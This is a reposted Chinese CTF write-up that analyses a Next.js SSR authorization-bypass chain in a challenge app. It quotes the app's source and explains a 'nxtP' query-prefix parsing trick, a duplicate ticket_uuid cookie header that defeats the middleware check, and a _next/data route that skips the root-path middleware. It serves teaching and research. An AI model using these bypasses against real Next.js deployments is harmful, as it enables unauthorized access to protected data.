Next.jsSSR权限错位链分析

admin 2026-07-08 04:45:11 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文分析Next.jsSSR中的权限错位漏洞链,涉及Cookie覆盖、Query解析差异和DataRoute绕过。通过利用nxtP前缀处理差异获取miku的ticket_uuid,并利用RequestCookies的覆盖特性与req.cookies的只赋值一次特性绕过中间件鉴权,最终通过DataRoute绕过根路径限制获取完整flag。建议开发者统一解析逻辑,避免依赖特定实现细节。 综合评分: 85 文章分类: 漏洞分析,WEB安全,红队,渗透测试,安全开发


cover_image

Next.js SSR 权限错位链分析

原创

YMsora YMsora

YMs0ra的安全漫路

2026年7月4日 18:47 安徽

在小说阅读器读本章

去阅读

Next.js SSR 权限错位链分析 Cookie 覆盖 + Query 解析差异 + Data Route 绕过

对手搓很友好的一集 取材sekaictf 2026

首先看flag位置,可以看出被分为两半了

import fsfrom'node:fs/promises'exportasyncfunctionreadFirstFlagHalf() {   const flag = (await fs.readFile('/flag.txt','utf8')).trim()   return flag.slice(0,Math.ceil(flag.length /2)) }

可以追溯其调用的函数

exportasyncfunctiongetServerSideProps({ req, res }) {   const ticketUser =awaitfindByTicketUuid(req.cookies.ticket_uuid ||'')   if (ticketUser?.id !==1) {     res.statusCode =403    return {       props: {         backstageNote:'',         denied:true,       },     }   }   return {     props: {       backstageNote:awaitreadFirstFlagHalf(),       denied:false,     },   } }

需要ticketUser为1,可以看看原生用户miku

await db.run(   `     INSERT INTO users (id, username, password_hash, tier, ticket_uuid)     VALUES (?, ?, ?, ?, ?)     ON CONFLICT(id) DO UPDATE SET       password_hash = excluded.password_hash,       ticket_uuid = excluded.ticket_uuid   `,   [1,'miku',await bcrypt.hash(crypto.randomUUID(),12),'VIP', crypto.randomUUID()] )

密码的hash是强加密,没法破解,怎么拿到ticket uuid是个问题

在全局查找ticket uudi的时候看到了row函数

functionrowToUser(row) {   if (!row)returnnull  return {     id: row.id,     username: row.username,     passwordHash: row.password_hash,     tier: row.tier,     ticketUuid: row.ticket_uuid,   } }

查看其调用位置

其中findusername是在login时鉴权采用,而findById在

exportasyncfunctiongetServerSideProps({ query }) {   const user =awaitfindById(query.id)   if (!user)return {notFound:true }   const qrDataUrl =awaitQRCode.toDataURL(user.ticketUuid, {     errorCorrectionLevel:'M',     margin:1,     width:220,     color: {       dark:'#06111a',       light:'#ffffffff',     },   })

的时候只需要传入query.id就可以row返回所有的信息。这在access-card.js中

因为是nextjs的框架,看看对于这个板块中间件的处理

exportasyncfunctionmiddleware(request) {   const session =awaitverifyJwt(request.cookies.get('session')?.value)   if (!session?.sub) {     returndeny(request)   }   if (request.nextUrl.pathname ==='/access-card') {     const checkedId = request.nextUrl.searchParams.get('id')          if (checkedId !== session.sub) {       returndeny(request)     }   }

当然,这里的session最先一定是自身的,所以可以先建立一个用户

接下来就是过中间件。request.nextUrl.searchParams.get(‘id’)需要和session字段相等

但是同时query.id需要等于1

这里可以清晰看见这里是存在解析差异的

query.id是直接取,但是searchParams.get(‘id’)是nextjs库中的一个方法

Nextjs的源码有这个常量

export const NEXT_QUERY_PARAM_PREFIX = ‘nxtP’

以及这个函数

exportfunctionnormalizeNextQueryParam(key: string):null | string {   const prefixes = [NEXT_QUERY_PARAM_PREFIX,NEXT_INTERCEPTION_MARKER_PREFIX]   for (const prefixof prefixes) {     if (key !== prefix && key.startsWith(prefix)) {       return key.substring(prefix.length)     }   }   returnnull}

可以看到会对前缀进行去除

这样先传nxtPid,再传id就可以返回id=1的ticket uuid

再看backroom的鉴权

if (request.nextUrl.pathname ==='/backroom') {     const expectedTicket = session.ticketUuid    const middlewareTicket = request.cookies.get('ticket_uuid')?.value ||''    if (!expectedTicket || middlewareTicket !== expectedTicket) {       returndeny(request)     }   }

以及

exportasyncfunctiongetServerSideProps({ req, res }) {   const ticketUser =awaitfindByTicketUuid(req.cookies.ticket_uuid ||'')   if (ticketUser?.id !==1) {     res.statusCode =403    return {       props: {         backstageNote:'',         denied:true,       },     }   }   return {     props: {       backstageNote:awaitreadFirstFlagHalf(),       denied:false,     },   } }

条件有几个

req.cookies.ticket_uuid为miku的ticket

session.ticketUuid和request.cookies.get(‘ticket_uuid’)需要相等(中间件鉴权)

session是没法改得,所以request.cookies.get(‘ticket_uuid’)需要取到和我们用户一样得ticket

但是req.cookies.ticket_uuid为miku的ticket

可以看到这两者用的也是不一样的方法

request.cookie.get()逻辑如下

exportclassRequestCookies {   _parsed:Map =newMap()   constructor(requestHeaders: Headers) {     const header = requestHeaders.get('cookie')     if (header) {       const parsed =parseCookie(header)       for (const [name, value]of parsed) {         this._parsed.set(name, { name, value })       }     }   }   get(name) {     returnthis._parsed.get(name)   } }

可以看到这键值对会进行覆盖。

反复的this._parsed.set(name, { name, value })

会对上一对相同name的进行覆盖

而 req.cookies.ticket_uuid

const obj = {}const key = ...// only assign onceif (obj[key] ===undefined) {   obj[key] = value }

源码注释也有 // only assign once

所以并不会被覆盖

所以就可以在对于覆盖的cookie进行操作,如下

Cookie: ticket_uuid=MIKU_TICKET; session=YOUR_SESSION; ticket_uuid=YOUR_TICKET

也就可以拿到第一部分的flag

再者看第二部分

import&nbsp;fsfrom'node:fs/promises'asyncfunctionreadSecondFlagHalf() { &nbsp;&nbsp;const&nbsp;flag = (await&nbsp;fs.readFile('/flag.txt','utf8')).trim() &nbsp;&nbsp;return&nbsp;flag.slice(Math.ceil(flag.length&nbsp;/2)) }exportasyncfunctiongetServerSideProps() { &nbsp;&nbsp;return&nbsp;{ &nbsp; &nbsp;&nbsp;props: { &nbsp; &nbsp; &nbsp;&nbsp;backstageNote:awaitreadSecondFlagHalf(), &nbsp; &nbsp; }, &nbsp; } }exportdefaultfunctionCdnHome({ backstageNote }) { &nbsp;&nbsp;return&nbsp;( &nbsp; &nbsp;&nbsp;<mainclassName="accepted-background"aria-label="Accepted">&nbsp; &nbsp; &nbsp;&nbsp;<divclassName="flag-overlay">{backstageNote}</div>&nbsp; &nbsp;&nbsp;</main>&nbsp; ) }

貌似访问首页就可以了,看中间件

import&nbsp;{NextResponse&nbsp;}from'next/server'exportfunctionmiddleware(request) { &nbsp;&nbsp;const&nbsp;remoteAddress = &nbsp; &nbsp; request.headers.get('x-real-migu') ||''&nbsp;&nbsp;if&nbsp;(remoteAddress !=='1.3.3.7') { &nbsp; &nbsp;&nbsp;const&nbsp;url =newURL('/rejected', request.url) &nbsp; &nbsp;&nbsp;returnNextResponse.redirect(url,302) &nbsp; } &nbsp;&nbsp;returnNextResponse.next() }exportconst&nbsp;config = { &nbsp;&nbsp;matcher: ['/'], }

也非常短,限定了remoteAddress

刚想着直接改,但是不行,nginx发力了,看看.conf

server { &nbsp; listen 8081; &nbsp; server_name _; &nbsp; proxy_http_version 1.1; &nbsp; proxy_set_header Host $http_host; &nbsp; proxy_set_header X-Forwarded-Host $http_host; &nbsp; proxy_set_header X-Real-Migu $remote_addr; &nbsp; proxy_set_header X-Forwarded-Proto $scheme; &nbsp; location /assets/ { &nbsp; &nbsp; alias /app/public/; &nbsp; } &nbsp; location / { &nbsp; &nbsp; proxy_pass http://127.0.0.1:3002; &nbsp; } }

可以注意到对于请求头都经过了二次规范,改是没用了

看看中间件

exportconst&nbsp;config = { &nbsp;&nbsp;matcher: ['/'], }

这里只对/进行了防护,这里会想到nextjs的特性

在服务build之后,对于函数的请求资源都会去额外构建一个分区, data route

也就是说,可以去哪里拿到json,也就绕过了/的封锁

接口在/_next/data//index.json

访问未受保护的页面拿到,然后去index.json拿flag

并且因为assetPrefix: ‘cdn’

所以

/ -> /cdn/_next/data//index.json

over


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:YMs0ra的安全漫路 YMsora YMsora《Next.js SSR 权限错位链分析》

评论:0   参与:  0